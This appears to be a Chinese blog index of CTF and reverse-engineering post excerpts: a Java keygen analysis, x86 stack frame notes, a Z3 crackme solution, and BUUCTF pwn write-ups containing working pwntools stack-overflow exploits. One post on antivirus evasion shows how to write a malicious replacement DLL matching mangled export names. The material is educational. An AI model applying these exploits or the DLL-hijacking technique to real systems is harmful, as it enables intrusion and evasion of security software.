Tupler published on included in re 闲着无视刷群发现有人发问题 0x01.启动程序 要求输入key,看title为xxxx-xxxx-xxxx-xxxx
输入假key弹错误信息
0X02.Jadx反编译打开 调用C0002.m6 验证key
双击进入函数
判断输入是不是为空且是不是长度为19
接着这边有个arraycopy 混淆视听 System类下的arraycopy返回值应该为void
应该是重写了函数 双击进去
这里分析一下 charArray 居然没初始化 应该是反编译问题? 往下看 for循环这里一串字符 然后后面去他长度加上下面的charArray[i]可以判断这个字符串就是我们的charArray 我们分割一下 加进去
然后复制代码运行一下 看看返回值
得到x
继续返回m6里面看看
让f1_=x
然后继续往下 两个for循环 就是取key的部分 然后和f1中的对比
这边有个m0函数 其实不用看了直接复制一份跑一下 打印出f1_.charAt(Start.m0(i + i3, f1_)的值就行
得到这个 每4位加一下**-**就是flag
m1函数为递归求斐波那契 第几位的值
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 class MainTest{ static String f1_ = "JsnatterrtJuaththovacke"; static String f2_ = "ZYXWVUTSRQPONMLKJIHGFEDCBA"; public static int m0(int i, String str) { // System.
Tupler published on included in re 栈帧 栈帧:
栈帧是一块因函数运行而临时开辟的空间。
每调用一次函数便会创建一个独立栈帧。
栈帧中存放的是函数中的必要信息,如局部变量、函数传参、返回值等。
当函数运行完毕栈帧将会销毁。
栈帧的创建 先看一个汇编的main函数头部
00611800 push ebp ;把ebp压入(保存ebp)
00611801 mov ebp,esp ;ebp=esp
00611803 sub esp,0D8h ;开栈(这片空间拿来放局部变量)
00611809 push ebx 0061180A push esi 0061180B push edi 0061180C lea edi,[ebp-18h] ;EDI=ebp-18
0061180F mov ecx,6 ;重复次数
00611814 mov eax,0CCCCCCCCh ;eax=0xccccc
00611819 rep stos dword ptr es:[edi] ;重复以上指令,edi减小4;循环ecx次,eax放入edi中 局部变量放在开栈的区域 这个为上面函数的步骤 这边引用一下其他大哥的GIF 可以很清晰的看到过程 32位是通过栈来传参 64位是通过寄存器传参 函数返回时会销毁栈帧并复原栈
00A81835 pop edi 00A81836 pop esi 00A81837 pop ebx 00A81845 mov esp,ebp ;恢复原来的栈
00A81847 pop ebp 00A81848 ret ;相当于pop eip 顺便附上一张调用栈的图 我们继续看 函数参数的传递
Tupler published on included in 免杀 0x01.dll导出函数混乱 寻找到的dll导出函数 会有例如这种函数名 :?MyFunction@@YGHH@Z :_MyFunction@4
C++编译器在生成DLL时,会对导出的函数进行名字改编,并且不同的编译器使用的改编规则不一样,因此改编后的名字也是不同的
__stdcall会使导出函数名字前面加一个下划线,后面加一个@再加上参数的字节数,比如_MyFunction@4的参数(int iVariant)就是4个字节
__fastcall与 __stdcall类似,不过前面没有下划线,而是一个@,比如@MyFunction@4
__cdecl则是始函数名。
我们查看IAT如果发现dll中的导出函数名字为:?MyFunction@@YGHH@Z 写黑dll时就写这样的代码
0 1 2 3 int _stdcall MyFunction(int a) { return 0; } 如果为:_MyFunction@4 只需加上extern “C” _declspec(dllexport) 就行 0 1 2 3 extern "C" _declspec(dllexport) int _stdcall MyFunction(int a) { return 0; } //ps:@后面的为参数的字节 具体类型可以用IDA反编译看看参数 参考连接:https://blog.csdn.net/superzhaifd/article/details/38922121
Tupler published on included in re Universe_final_answer wp1 0x01:查壳 无壳
0x02:IDA打开 打开直接F5显示伪代码 发现sub_860这个函数为check函数
进入后发现果然为check我们输入的字符是通过一系列运算来校验
这里注意左移操作 我们换算为乘法 左移5就是乘2的5次方 右移就是除五次方
我们直接上python 的Z3库
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from z3 import * s = Solver() v1 = Int('v1') v2 = Int('v2') v3 = Int('v3') v4 = Int('v4') v5 = Int('v5') v6 = Int('v6') v7 = Int('v7') v8 = Int('v8') v9 = Int('v9') v11 = Int('v11') s.
Tupler published on included in pwn buuctf pwn1_sctf_2016 0 1 2 3 4 5 6 fgets(s, 32, edata); //只让输入32个字符 stack偏移0x3c replace((std::string *)v3); system("cat flag") ->08048F0D STACK 0X3C I替换成you 0 1 2 3 4 5 from pwn import * r=process('./pwn1_sctf_2016') #r=remote("node4.buuoj.cn",29806) payload=b'I'*20+b'a'*4+p32(0x08048F0D) r.sendline(payload) r.interactive() [buuctf] level0 read栈溢出 没什么好说的
system_addr=0x400596
padding=0x80+8
不知道为什么本机打不通。。。
0 1 2 3 4 5 6 from pwn import * #r=process('./level0') r=remote('node4.buuoj.cn',27712) context(os='linux', arch='amd64', log_level='debug') payload=b'a'*0x80+b'a'*8+p64(0x0400596) r.sendafter('Hello, World\n',payload) r.interactive() ciscn2019 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 elf=ELF('.